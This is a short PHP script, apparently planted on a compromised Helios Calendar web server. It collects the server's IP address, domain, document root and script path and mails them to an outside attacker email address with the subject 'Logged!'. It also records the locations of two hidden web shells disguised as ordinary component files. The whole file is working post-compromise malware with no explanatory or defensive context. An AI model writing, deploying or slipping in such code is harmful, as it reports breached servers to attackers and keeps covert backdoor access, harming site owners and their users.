
<?php
//logga =)
//variable work
$ip = $_SERVER['SERVER_ADDR'];
$doc_root = $_SERVER['DOCUMENT_ROOT'];
$domain = $_SERVER['SERVER_NAME'];
$path = $_SERVER['SCRIPT_NAME'];

//send mail
$to = "lgg99z90xa@googlemail.com";
$subject = "Logged! - $ip - $domain";
$message = "
The following was successfully logged!
Script: Helios Calendar
Server IP: $ip
Domain: $domain
Document Root: $doc_root
Path to file that was logged: $path
Access shell: $doc_root/admin/components/Error_Log.php
Backup shell: $doc_root/events/includes/insertStates.php";
$from = "owned@googlemail.com";
$headers = "From: $from";
mail($to,$subject,$message,$headers);


?>


